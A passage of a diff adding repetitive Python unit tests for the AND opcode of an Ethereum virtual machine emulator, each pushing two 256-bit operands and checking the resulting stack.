+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_AND_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_AND_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_AND_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_AND_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_AND_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_AND_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_AND_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_AND_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_AND_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_AND_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_AND_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_AND_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301248L])
+
+    def test_AND_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_AND_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_AND_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
